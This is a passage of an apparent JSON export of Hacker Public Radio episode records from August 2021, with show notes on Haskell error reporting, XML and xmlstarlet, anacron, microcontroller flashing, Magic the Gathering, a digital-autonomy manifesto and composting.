                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-July/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 35 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            Since we don't want to upload shows without summaries or tags the old shows and tag and summary projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the summary page.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nArcher72, Rho`n, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 71 shows which were without them.

                                                            \n

                                                            There are currently 222 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3392,"date":"2021-08-03","title":"Structured error reporting","duration":1714,"summary":"Tuula talks about how she improved build times by breaking down error reporting to smaller parts","notes":"

                                                            Initial state

                                                            \n

                                                            When I originally wanted a unified error reporting on the server-side, I made one huge type that enumerated all the possible error cases that could be reported:

                                                            \n
                                                            -- | Error codes for all errors returned by API\ndata ErrorCode\n    -- common error codes\n    = ResourceNotFound\n    | InsufficientRights\n    | FailedToParseDataInDatabase\n    -- errors specific to news\n    | SpecialEventHasAlreadyBeenResolved\n    | UnsupportedArticleType\n    | SpecialNewsExtractionFailed\n    | TriedToMakeChoiceForRegularArticle\n    -- errors specific to simulation state\n    | SimulationStatusNotFound\n    | DeltaTIsTooBig\n    | TurnProcessingAndStateChangeDisallowed\n    | SimulationNotOpenForCommands\n    | SimulationNotOpenForBrowsing\n    -- errors specific to people\n    | StatIsTooLow Text\n    | CouldNotConfirmDateOfBirth\n    | DateOfBirthIsInFuture\n    | FirstNameIsEmpty\n    | FamilyNameIsEmpty\n    | CognomenIsEmpty\n    | RegnalNumberIsLessThanZero\n    -- errors specific to new person creation\n    | AgeBracketStartIsGreaterThanEnd\n    | PersonCreationFailed\n    deriving (Show, Read, Eq)\n
                                                            \n

                                                            Then I had some helper functions to turn any value of that type into a nice error message:

                                                            \n
                                                            errorCodeToStatusCode :: ErrorCode -> Int\nstatusCodeToText :: Int -> ByteString\nerrorCodeToText :: ErrorCode -> Text\nraiseIfErrors :: [ErrorCode] -> HandlerFor App ()\n
                                                            \n

                                                            errorCodeToStatusCode was responsible for turning ErrorCode into http status code. For example StatIsTooLow \"intrigue\" would be 400. statusCodeToText would take this code and turn it into short error message given in http response. 400 would be Bad Request. errorCodeToText would give a bit more verbose explanation of what happened, StatIsTooLow \"intrigue\" would be mapped to \"Stat intrigue is too low\". Finally raiseIfErrors would take a list of ErrorCode and use these helper functions to turn them into a http response with correct status code, error message and json body detailing all errors that had happened:

                                                            \n
                                                            [\n    { code:\n        { tag: "StatIsTooLow"\n        , contents: "intrique"\n        }\n    , error: "Stat intrigue is too low"\n    }\n]\n
                                                            \n

                                                            There’s two tags: code, which contains machine readable details about the error and error, which contains error message that can be shown to user.

                                                            \n

                                                            While this worked fine, there was some problems with it. ErrorCode type was growing larger and larger and the module it was defined in was referred all over the codebase. Every time I added a new error message, all the modules that used error reporting had to be compiled and it was getting slow.

                                                            \n

                                                            Solution

                                                            \n

                                                            Breaking up the ErrorCode to smaller types and moving them to different modules would means less modules were going to built when I added a new error code. The problem was that raiseIfErrors :: [ErrorCode] -> HandlerFor App () wanted a list of ErrorCode and elements in a list have to be of same type.

                                                            \n

                                                            I started by splitting ErrorCode to smaller types. Each of the smaller error types have automatically derived toJSON and fromJSON functions for serializing them to and from JSON:

                                                            \n
                                                            data PersonCreationError =\n    StatIsTooLow Text\n    | CouldNotConfirmDateOfBirth\n    | DateOfBirthIsInFuture\n    | FirstNameIsEmpty\n    | FamilyNameIsEmpty\n    | CognomenIsEmpty\n    | RegnalNumberIsLessThanZero\n    deriving (Show, Read, Eq)\n\n$(deriveJSON defaultOptions ''PersonCreationError)\n
                                                            \n

                                                            That $(deriveJSON defaultOptions ''PersonCreationError) is template haskell call. Basically it invokes a deriveJSON function with PersonCreationError as parameter and compiles and splices the resulting code here. This is fast and easy way of generating ToJSON and FromJSON instances and avoiding having to write them by hand. It is very similar to how Lisp macros work.

                                                            \n

                                                            Then I defined a type class, that has functions for getting a http status code and a error message that can be shown to user. statusCodeToText I could use as is, without any modifications:

                                                            \n
                                                            class ErrorCodeClass a where\n    httpStatusCode :: a -> Int\n    description :: a -> Text\n
                                                            \n

                                                            I have to have instance of ErrorCodeClass defined for each and every smaller error type. Here’s an excerpt of PersonCreationError showing how it would look like:

                                                            \n
                                                            instance ErrorCodeClass PersonCreationError where\n    httpStatusCode = \\case\n        StatIsTooLow _ -> 400\n        CouldNotConfirmDateOfBirth -> 500\n...\n\n    description = \\case\n        StatIsTooLow s ->\n            "Stat " ++ s ++ " is too low"\n...\n
                                                            \n

                                                            A little note: description = \\case relies on lambda case extension. It is just a slightly different way of writing:

                                                            \n
                                                                description d =\n        case d of\n
                                                            \n

                                                            This allows me to turn values of these smaller error types into error messages that could be sent to the user.

                                                            \n

                                                            The second part of the solution is to figure out a way to put values of these smaller error types into same list. If a list is of type [PersonCreationError], it can’t contain values of CommonError and vice versa. Creating a wrapper like:

                                                            \n
                                                            data ECode a = ECode a\n
                                                            \n

                                                            doesn’t work, because then I would have elements of type ECode PersonCreationError and ECode CommonError, which are of different type. What I need, is a way to wrap all these different types into a wrapper that loses the type of wrapped value. Another problem is that I need to place constraints on what kind of values can be wrapped. I need them to have instances for ErrorCodeClass (for getting error information) and ToJSON (for serializing them into JSON). There’s several ways of doing this, but I chose to use generalized algebraic data types (GADTs for short):

                                                            \n
                                                            {-# LANGUAGE GADTs #-}\n\ndata ECode where\n    ECode :: (ErrorCodeClass a, ToJSON a) => a -> ECode\n
                                                            \n

                                                            Now type ECode has one value constructor, also named to ECode, which takes one parameter a. a can be anything, as long as there’s ErrorCodeClass and ToJSON instances defined for it. Calling this constructor will return ECode. If you compare this with the previous definition of ECode, you’ll notice two major differences:

                                                            \n
                                                              \n
                                                            • a is constrained to have specific type class instances
                                                            • \n
                                                            • resulting type is ECode, not ECode a
                                                            • \n
                                                            \n

                                                            The second part means that I can wrap different types into ECode and place them into a same list without problems. Type of that list is simply [ECode].

                                                            \n

                                                            But having a list of error codes wrapped in ECode isn’t going to do much to us. We need to be able to turn them into http status code, text and list of error messages. Luckily we have a type class just for that:

                                                            \n
                                                            instance ErrorCodeClass ECode where\n    httpStatusCode (ECode a) =\n        httpStatusCode a\n\n    description (ECode a) =\n        description a\n
                                                            \n

                                                            httpStatusCode of ECode is httpStatusCode of the value ECode wraps. Similarly description of ECode is description of the wrapped value.

                                                            \n

                                                            For turning ECode into JSON, I opted for hand written instance:

                                                            \n
                                                            instance ToJSON ECode where\n    toJSON (ECode a) =\n        object [ "HttpCode" .= httpStatusCode a\n               , "FaultCode" .= toJSON a\n               , "ErrorDescription" .= description a\n               ]\n
                                                            \n

                                                            This gives me complete control over how I want to report errors to the client.

                                                            \n

                                                            Final piece of the puzzle is raiseIfErrors function:

                                                            \n
                                                            raiseIfErrors :: [ECode] -> HandlerFor App ()\nraiseIfErrors errors = do\n    when (not $ null errors) $ do\n        let code = fromMaybe 500 $ errors ^? ix 0 . to httpStatusCode\n        let msg = statusCodeToText code\n        sendStatusJSON (Status code msg) $ toJSON errors\n
                                                            \n

                                                            If there are any elements in the passed in list, grab the http status code and text from the first element of the list. I was considering writing some sort of logic to deduce which error code to return in case there are more than one type in the list, but decided against it. There doesn’t seem to be any easy way to decide between HTTP 400 Bad Request and HTTP 500 Internal Server Error. So I just return the first one. Body of the response contains list of errors codes:

                                                            \n
                                                            [\n    { HttpCode: 400\n    , FaultCode: {\n        Tag: "StatIsTooLow"\n        , Contents: "intrique"\n        }\n    , ErrorDescription: "Stat intrigue is too low"\n    }\n]\n
                                                            \n

                                                            Since manually wrapping things in ECode gets tedious after a while, I defined function for each type of error that does that for me:

                                                            \n
                                                            statIsTooLow :: Text -> ECode\nstatIsTooLow s = ECode $ StatIsTooLow s\n
                                                            \n

                                                            Now, instead of writing ECode $ StatIsTooLow \"intrigue\", I can write statIsTooLow \"intrigue\". And if I ever decide to change internals of errors again, I can change how these functions are defined and hopefully don’t have to change each and every place where they’re being used.

                                                            \n

                                                            Different solution

                                                            \n

                                                            Another way to tackle this problem is to use records instead of algebraic data types:

                                                            \n
                                                            data ECode = ECode\n    { httpCode :: Int\n    , description :: Text\n    }\n\nstatIsTooLow :: Text -> ECode\nstatIsTooLow s =\n    ECode\n    { httpCode = 400\n    , description = "Stat " ++ s ++ " is too low"\n    }\n
                                                            \n","hostid":364,"series":107,"explicit":1,"license":"CC-BY-SA","tags":"haskell, error reporting","version":0,"downloads":0,"valid":1}, {"id":3393,"date":"2021-08-04","title":"We need to talk about XML","duration":1885,"summary":"An extensible markup language? This is too good to be true!","notes":"

                                                            Klaatu introduces XML.

                                                            \n\n

                                                            \nThe sample XML document discussed in this episode is:\n

                                                            \n\n
                                                            \n\n<xml>\n  <sol>\n    <planet>\n      <name>\n        Mercury\n      </name>\n      <albedo>\n        0.11\n      </albedo>\n    </planet>\n    <planet>\n      <name>\n        Venus\n      </name>\n      <albedo>\n        0.7\n      </albedo>\n    </planet>\n    <planet>\n      <name>\n        Terra\n      </name>\n      <albedo>\n        0.39\n      </albedo>\n    </planet>\n  </sol>\n</xml>\n\n
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"xml,data,markup,markdown","version":0,"downloads":0,"valid":1}, {"id":3394,"date":"2021-08-05","title":"Be an XML star with xmlstarlet","duration":1591,"summary":"Parse XML from the terminal","notes":"

                                                            See the layout of an XML document

                                                            \n\n
                                                            \n$ xmlstarlet elements planets.xml\nxml\nxml/sol\nxml/sol/planet\nxml/sol/planet/name\nxml/sol/planet/albedo\nxml/sol/planet\nxml/sol/planet/name\nxml/sol/planet/albedo\nxml/sol/planet\nxml/sol/planet/name\nxml/sol/planet/albedo\n\n
                                                            \n\n

                                                            See content of the planet node

                                                            \n\n
                                                            \n$ xmlstarlet select -t --value-of '/xml/sol/planet' planets.xml\n\n        Mercury\n        0.11\n\n        Venus\n        0.7\n\n        Terra\n        0.39\n
                                                            \n\n

                                                            Get the third instance of the planet node

                                                            \n\n
                                                            \n$ xmlstarlet select -t --value-of '/xml/sol/planet[3]' planets.xml\nTerra\n0.39\n
                                                            \n\n

                                                            Get only the planets with an albedo greater than 0.25

                                                            \n\n
                                                            \n$ xmlstarlet select -t --value-of '/xml/sol/planet[albedo > 0.25]' planets.xml\n\nVenus\n0.7\n\nTerra\n0.39\n
                                                            \n\n

                                                            Get only the planets closer to Sol than the third planet

                                                            \n\n
                                                            \n$ xmlstarlet select -t --value-of '/xml/sol/planet[position() < 3]' planets.xml\n\nMercury\n0.11\n\nVenus\n0.7\n
                                                            \n\n

                                                            Learn more XPath functions at Mozilla Developer Network.

                                                            \n\n

                                                            Download xmlstarlet from xmlstar.sourceforge.net (https://sourceforge.net/projects/xmlstar/).\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"xml,data,markup,markdown","version":0,"downloads":0,"valid":1}, {"id":3395,"date":"2021-08-06","title":"Hacking Stories with Reacted: part 1","duration":1979,"summary":"I talk about some old old old pentesting stories from days old!","notes":"

                                                            \nI talk about some old old old pentesting stories from days old!\n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hackhacking,pentesting,red team,hacking storiesing","version":0,"downloads":0,"valid":1}, {"id":3396,"date":"2021-08-09","title":"Card roles in Magic the Gathering","duration":2367,"summary":"There are over 25,000 cards in MTG. You only need 60 to play.","notes":"

                                                            Cutting to the chase:

                                                            \n

                                                            When getting into Magic the Gathering, it's easy to get overwhelmed and confused by choice. Instead of thinking about cards, I've learnt to think about the game mechanic roles that a deck needs to have satisfied, and then I look for cards that fill those roles.\n

                                                            \n\n

                                                            My list is by no means definitive, but I think these are the basic universal roles you need, regardless of how you play:

                                                            \n\n
                                                              \n
                                                            • Mana base: Land cards. These provide you with mana so you can play cards. For a 60 card deck, anticipate requiring about 24. In a later episode, I'll talk about additional ways to manage mana.
                                                            • \n
                                                            • General purpose: Creatures, enchantments, instants, artifacts, and so on. These are cards, costing a full spectrum of mana amounts (some you can play for 1 or 2 mana, others require 4 and 5 and more), that you need to populate your deck. These don't need to be anything special, unless you want to spend money for really fancy cards, but I assume you're not listening to me if you're a pro player.\n
                                                            • Card draw: You're going to deplete your hand unless you have cards that give you permission to draw more cards than just your allotted one-per-turn.
                                                            • \n
                                                            • Recursion: When you're forced to discard a card you really really wanted to play, you'll be glad to have some cards that grant you permission to bring that card back from your graveyard. This is called "recursion" by Magic players.
                                                            • \n
                                                            \n\n

                                                            There are other card types that can be useful, but they may be best for specific strategies. The ones I list here are, I believe, pretty universal.\n

                                                            \n\n

                                                            You can find lists of cards that fill specific roles with a simple Internet search. For instance, if you realize you have no cards that let you replenish your hand, you might search for "best cards to draw cards MTG" and get directed to a site like TappedOut.net or magic.wizards.com.

                                                            \n\n

                                                            Go to your local game store or an online vendor to buy just the cards you need. Because there are so many to choose from in any given category, you get to control the price. I have a rule for myself that do not spend over $2 on any single card.\n

                                                            \n\n

                                                            When trying to fill roles, I generally aim to get 4 cards that do the thing I need. Sometimes I get exactly the same card 4 times, other times I get a variety of cards to fill the role. Either way, 4 usually feels like a good draw frequency for each role.

                                                            \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"magic, mtg, card, tcg","version":0,"downloads":0,"valid":1}, {"id":3397,"date":"2021-08-10","title":"What is a PineTime","duration":595,"summary":"In this podcast I talk a little bit about the pinetime.","notes":"

                                                            \nThis is the first impression of a PineTime watch that I bought about a week ago and have already done some changes to the underlying code. I think this is an interesting project and open source so you can contribute.\n

                                                            \n

                                                            \nGithub repository:\nhttps://github.com/JF002/InfiniTime\n

                                                            \n

                                                            \nSales page:\nhttps://www.pine64.org/pinetime/\n

                                                            ","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"open source, watch, coding","version":0,"downloads":0,"valid":1}, {"id":3398,"date":"2021-08-11","title":"Anacron","duration":949,"summary":"Put down that crontab and get started with anacron","notes":"

                                                            Setup

                                                            \n\n
                                                            \n$ mkdir -p ~/.local/etc/cron.daily ~/.var/spool/anacron\n
                                                            \n\n\n

                                                            Create a file called anacrontab:

                                                            \n\n
                                                            \n$ touch /.local/etc/anacrontab\n
                                                            \n\n

                                                            Set it up to trigger scripts in your cron.daily folder:\n

                                                            \n\n
                                                            \nSHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\n1  0  cron.daily   run-parts $HOME/.local/etc/cron.daily/\n
                                                            \n\n

                                                            \nValidate your anacrontab:\n

                                                            \n\n
                                                            \n$ anacron -T -t ~/.local/etc/anacrontab -S ~/.var/spool/anacron\n
                                                            \n\n

                                                            Start anacron in a file that gets triggered at login, such as ~/.profile:\n

                                                            \n\n
                                                            \nanacron -t $HOME/.local/etc/anacrontab -S $HOME/.var/spool/anacron\n
                                                            \n\n

                                                            Using

                                                            \n\n

                                                            Now that everything is set up, just put scripts you want to run regularly in cron.daily, and make them executable.\n

                                                            \n\n

                                                            You can set up a weekly directory, too. Just set the time interval in your anacrontab to:\n

                                                            \n\n
                                                            \nSHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\n7  0  cron.weekly   run-parts $HOME/.local/etc/cron.weekly/\n
                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cron, linux, service, automation","version":0,"downloads":0,"valid":1}, {"id":3399,"date":"2021-08-12","title":"Linux Inlaws S01E36: Open Source Licenses","duration":3361,"summary":"The ultimate show on open source licenses or how to fall asleep without chemicals","notes":"

                                                            \n In this episode Chris is trying hard to get Martin to sleep by elaborating on the\n subject of free and open source software licenses but fails miserably. Listen to a\n more than riveting episode on the ins and outs of licensing FLOSS code bases in addition\n to banter about Brexit, plans for a reshaping of Europe after the invasion of England\n and Wales, Northern Ireland and Scotland leave the UK.\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Licensing, GNU, BSD, MIT, Taking Lives, MI6, Clarkson's Farm, Open Source Initiative","version":0,"downloads":0,"valid":1}, {"id":3400,"date":"2021-08-13","title":"Normal Layer Modes: Normal, Dissolve, Color Erase","duration":778,"summary":"We begin a look at the Layer Modes in GIMP","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We'll begin with the Normal modes and work our way through many, but not all, of the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.20.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes","version":0,"downloads":0,"valid":1}, {"id":3401,"date":"2021-08-16","title":"Mana hacks","duration":1924,"summary":"Klaatu muses about mana ramping in Magic the Gathering","notes":"

                                                            The categories of mana ramps I have defined for myself are:

                                                            \n
                                                              \n
                                                            • Mana acquired outside of the land drop action
                                                            • \n
                                                            • Getting more mana for less
                                                            • \n
                                                            • Mana saved up over time
                                                            • \n
                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"magic, mtg, card, tcg, mana","version":0,"downloads":0,"valid":1}, {"id":3402,"date":"2021-08-17","title":"Reading a manifesto: Declaration of Digital Autonomy","duration":877,"summary":"Reading and brief commentary and background on Molly DeBlanc's and Karen Sandler's techautonomy.org","notes":"

                                                            This episode, as its source material, is licensed under the Creative Commons Attribution-ShareAlike 4.0 International license.

                                                            \n

                                                            Previously

                                                            \n
                                                              \n
                                                            • hpr3317 :: Reading a manifesto: Towards A Cooperative Technology Movement
                                                            • \n
                                                            • hpr3326 :: HPR Community News for April 2021
                                                            • \n
                                                            \n

                                                            Free Software Timeline

                                                            \n\n

                                                            Further sources for timeline:

                                                            \n\n

                                                            People

                                                            \n

                                                            Molly DeBlanc

                                                            \n

                                                            https://deblanc.net/blog/about/

                                                            \n
                                                              \n
                                                            • Former Campaigns Manager, FSF
                                                            • \n
                                                            • Former President of the Board, OSI
                                                            • \n
                                                            • Current Strategic Initiatives Manager, GNOME Foundation
                                                            • \n
                                                            • Current Debian Community Team
                                                            • \n
                                                            \n

                                                            Karen Sandler

                                                            \n

                                                            https://en.wikipedia.org/wiki/Karen_Sandler

                                                            \n
                                                              \n
                                                            • Former General Counsel, SFLC
                                                            • \n
                                                            • Former Executive Director, GNOME Foundation
                                                            • \n
                                                            • Current Executive Director, SFC
                                                            • \n
                                                            \n

                                                            Manifesto

                                                            \n

                                                            https://techautonomy.org/

                                                            \n

                                                            Declaration of Digital Autonomy (draft 0.1)

                                                            \n

                                                            We demand a world in which technology is created to protect and empower the people who use it. Our technology must respect the rights and freedoms of those users. We need to take control for the purpose of collectively building a better world in which technology works in service to the good of human kind, protecting our rights and digital autonomy as individuals.

                                                            \n

                                                            We have become more reliant than ever on technology that we intertwine into every aspect of our lives. That technology is currently made not for us, those using it. Rather, it is for the companies who intend to monetize its use and whoever owns the associated copyrights and patents. Services are run via networked software on computers we never directly interact with. Our devices are designed to only function while broadcasting our intimate information regardless of whether the transmission of that information is necessary functionality. We generate data that we do not have access to, that is bought, sold, and traded between corporations and governments. Technologies we're increasingly being forced to use reinforce and amplify social inequalities. As schools and jobs go online, high speed computing, centralized services and Internet become inescapably necessary. Technology is designed and implemented to oppress, often with sexist, classist, and racist implications. Rather than being served by these tools, we are instead in service to them. These gatekeepers of our technology are not individual people or public organizations who think about the wellbeing of others, but instead are corporations, governments and others with agendas that do not include our best interests. Our technology has become the basic infrastructure on which our society functions, and yet the individuals who use it have no say or control over its function.

                                                            \n

                                                            It's time to change our digital destiny.

                                                            \n

                                                            We believe it is necessary for technology to provide opportunity for: informed consent of use; transparent development and operation; privacy and security from bad actors; interaction without fear of surveillance; technology to work primarily on the terms of the people using it; functionality inside and outside of connected networks; use with other services and other software, repair; and connection, and not alienation, from the technology itself and that which is created from it.

                                                            \n

                                                            We therefore call for the adoption of the following principles for ethical technology:

                                                            \n
                                                              \n
                                                            • In service of the people who use it

                                                              \nFrom conception through to public availability, technology must be in the service of the people and communities who use it. This includes a freedom from surveillance, data gathering, data sales, and vendor and file format lock-in. When it becomes apparent that the technology, as it is delivered, does not meet the needs of a given person, that person is able to change and repair their technology. Technology must have an option for use without an Internet connection.
                                                            • \n
                                                            • Informed consent

                                                              \nPeople must have the ability to study and understand the technology in order to decide whether using it as is is the right choice for them. People must be able to determine, either directly or through third parties, how the technology is operating and what information it is collecting, storing and selling. Additionally, there should be no punitive responses for declining consent -- practical alternatives must be offered, whether those are changes to the underlying technology or compatible updates from the original provider or from third parties.
                                                            • \n
                                                            • Empowering individual and collective digital action

                                                              \n

                                                              When people discover that their technology is not functioning in their interest, or that the trade offs to use it have become too burdensome, they must have the ability to change what they are using, including the ability to replace the software on a device that they have purchased if it is not serving their interests and to use the technology while not being connected to a centralized network or choose a different network.

                                                              \n

                                                              Technology should not just be designed for the individuals using it, but also the communities of users. These communities can be those intentionally built around a piece of technology, geographic in nature, or united by another shared purpose. This includes having the ability and right to organize to repair the technology on and to migrate essential data to other solutions. Ownership of essential data must belong to the community relying on them.

                                                              \n
                                                            • \n
                                                            • Protect people's privacy and other rights by design

                                                              \nBuilding technology must be done to respect the rights of people, including those of privacy, open communication, and the safety to develop ideas without fear of monitoring, risk, or retribution. These cannot be tacked on as afterthoughts, but instead must be considered during the entire design and distribution process. Services should plan to store the minimum amount of data necessary to deliver the service in question, not collect data that may lay the groundwork for a profitable business model down the road. Regular deletion of inessential data should be planned from the outset. Devices need to have the ability to run and function while not transmitting data. All of these requirements are to better ensure privacy, as everytime a device wirelessly transmits or otherwise broadcasts data there is opportunity for interference or theft of that data.
                                                            • \n
                                                            \n

                                                            We, as individuals, collectives, cultures, and societies, are making this call in the rapidly changing face of technology and its deepening integration into our lives. Technology must support us as we forge our own digital destinies as our connectivity to digital networks and one another changes in ways we anticipate and in ways we have yet to imagine. Technology makers and those who use this technology can form the partnerships necessary to build the equitable, hopeful future we dream of.

                                                            \n

                                                            We'd love to hear what you think! Let us know by emailing thoughts@ this domain.

                                                            \n

                                                            The Declaration of Digital Autonomy is (c) Molly de Blanc and Karen M. Sandler, 2020, licensed under Creative Commons Attribution-ShareAlike 4.0 International.

                                                            \n","hostid":311,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"manifesto, community, free software, open source, politics, philosophy, digital autonomy","version":0,"downloads":0,"valid":1}, {"id":3403,"date":"2021-08-18","title":"Forth on microcontrollers","duration":1341,"summary":"A little more about forth and a couple of chapters in the novel of my life","notes":"\n
                                                              sudo avrdude -c usbtiny -p m328p -e -U flash:w:uno.hex:i -U eeprom:w:uno.eep.hex:i\n  sudo avrdude -c usbtiny -p m328p -e -U flash:w:uno.hex:i -U eeprom:w:uno.eep.hex:i\n  sudo avrdude -P usbtiny -p m328p -e -U efuse:w:0x05:m -U hfuse:w:0xD9:m -U lfuse:w:0xFF:m
                                                            ","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programming, history, arduino","version":0,"downloads":0,"valid":1}, {"id":3404,"date":"2021-08-19","title":"Suse 15.3 Leap","duration":652,"summary":"A short review of Suse 15.3","notes":"

                                                            Short review of Suse 15.3

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, suse, leap, vnc","version":0,"downloads":0,"valid":1}, {"id":3405,"date":"2021-08-20","title":"Hacking Stories with Reacted: part 2","duration":152,"summary":"I talk about some old old old pentesting stories from days old!","notes":"

                                                            \nI talk about some old old old pentesting stories from days old!\n

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hacking,pentesting,red team,hacking stories","version":0,"downloads":0,"valid":1}, {"id":3406,"date":"2021-08-23","title":"A study of cards in games","duration":1633,"summary":"Currency, deterrent, coersion, clutter, rules","notes":"

                                                            What function cards have in games.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"card, game","version":0,"downloads":0,"valid":1}, {"id":3407,"date":"2021-08-24","title":"Software Freedom Podcast","duration":3407,"summary":"A sample episode of the Free Software Foundation Europe Podcast","notes":"

                                                            \nThe Free Software Foundation Europe have a podcast, and this is a sample episode.\n

                                                            \n
                                                              \n
                                                            1. Web page: https://fsfe.org/news/podcast.en.html
                                                            2. \n
                                                            3. Opus Feed: feed://fsfe.org/news/podcast-opus.en.rss
                                                            4. \n
                                                            5. MP3 Feed: feed://fsfe.org/news/podcast.en.rss
                                                            6. \n
                                                            7. Free Culture Podcasts: https://freeculturepodcasts.org/
                                                            8. \n
                                                            ","hostid":30,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"FSFE,Podcast,freeculturepodcasts","version":0,"downloads":0,"valid":1}, {"id":3408,"date":"2021-08-25","title":"Composting","duration":336,"summary":"Inspired by episode 3157, Rho`n describes his experience of learning to compost","notes":"

                                                            Introduction

                                                            \n

                                                            Welcome to another episode of Hacker Public Radio. This episode is inspired by HPR episode 3157 entitled Compost by Klaatu. During the early 2000's, I lived in a single family home which had a number of oak trees around it. Between the trees, other foliage, and grass, there was a large amount of yard waste. While my city (Baltimore, MD in the US) will pick up your yard waste if you put it in bags by the curb [1], I would use the oak leaves as mulch, and did have a mulch pile of leaves and other yard waste. At that time, I thought about composting food waste, but there is a big issue with rats in Baltimore, and I didn't look into ways to compost. I just knew I couldn't randomly mix it into my mulch pile.

                                                            \n

                                                            I am currently living in a different house, without any oak trees, and not as much yard waste (particularly since we hire someone to mow the grass every couple weeks). After listening to the Compost episode, I was inspired to look into the best way to do it given my current living situation. The first thing I did was to look and see if there are any laws against composting in Baltimore City. The rat problem is big enough that the City purchased and distributed a large green plastic trash bin to every physical mailing address in the city. This is the bin you are required to use when putting out your trash. Given the situation, I wasn't sure it would be legal to do composting in your back yard. Much to my surprise, it is not only legal, but the city website has a web page on how to compost [2] and just recently started a pilot program for food scrap drop off with seven locations around the city [3].

                                                            \n

                                                            Kitchen Compost Bin

                                                            \n

                                                            After determining I wasn't going to be a scofflaw, I went to the Internet to see what kind of bins are available for purchase. While Klaatu gives great suggestions for low cost composting bins, I wanted something that would look nice sitting out on a shelf for the small inside bin. I found the Utopia Kitchen Compost Bin [4]. The bin is made of stainless steel and has a volume of 1.3 gallons (4.9 liters). The lid is rounded and has a series of holes around the top. The inside of the lid holds a circular shaped charcoal filter. The combination of holes and charcoal filter capture any odors generated by the food scraps. It works amazingly well and even with onion scraps you need to stick your nose to the holes and inhale deep to smell anything when the lid is closed. It holds three to seven days worth of food scraps, most of which end up being coffee grinds. We have had this bin for 10 months, and the charcoal filter is still effective. There are replacement filters available for this bin, but you could also cut other charcoal filters to fit inside the lid.

                                                            \n

                                                            Outside Compost Bin

                                                            \n

                                                            Given the potential rat and other small critter issues, I wanted the main, outside composter to be fully enclosed, and preferably not sitting directly on the ground. A quick search brings up a number of options, both composters that sit on the ground and ones that are tumbler style, which hang on a frame. I went with a tumbler style compost bin. This provided the desired feature of not being on the ground, and has the added advantage of making it easy to turn the compost every second or third day by just rotating the bin slowly for three or four full turns. I purchased the FCMP Outdoor IM4000 Tumbling Composter [5]. The composter is octagonal shaped column with two chambers inside it. This allows you to fill one chamber while the other side is finishing the composting process. There are also aeration holes for each chamber which can be open to different levels to moderate the amount of moisture. The combined volume of the two chambers is approximately 37 gallons (140 liters).

                                                            \n

                                                            My Composting Experience

                                                            \n

                                                            So far I have been very happy with this combination. I just emptied a chamber for the third time. I do have a bit of an issue with the compost being overly damp. I have mixed some drier yard waste in from time to time and that does help, but have had times when parts of it get a little slimy. I have also run into issues with flies and other bugs living in the chamber for a while, but generally I don't see them outside of the composter, just when I open the door to add more material. Not ideal, but not so bad that I did anything about it. I have also found certain things do take extra time to compost, and usually need some manual help to break down. Pits of mangoes and avocados in particular along with corn cobs take a long time to break down. They do start to compost, and are easy to crumble in your hands, but keep their basic shape for a long while. Egg shells don't really break down, as Klaatu mentioned, but they do become very brittle and I crumble them up manually along with the pits and corn cobs. Another issue I have found with damper compost, particularly in cooler months, it doesn't heat up enough to decompose the seeds of some plants. This ended up being a pleasant surprise this summer after mixing in the first batch of compost in our little herb garden during the spring. We now have a combination of plumb and medium sized tomato plants and some kind of squash plant growing in it. If you don't want random plants growing in your yard or flower beds, do be careful when composting plants with seeds [6].

                                                            \n

                                                            Conclusion

                                                            \n

                                                            While it takes a little extra effort, composting does reduce the amount of garbage you are sending to the dump, and does reduce the smell of your kitchen trash bin. It also gives a rewarding feeling as you watch the material break down into a rich dirt, and then mix it into your garden or yard. I recommend giving it a try, and posting your experience as another episode of Hacker Public Radio.

                                                            \n

                                                            References

                                                            \n
                                                              \n
                                                            1. Baltimore City Department of Public Works-Yard Waste
                                                            2. \n
                                                            3. Baltimore City Department of Public Works-Source Reduction
                                                            4. \n
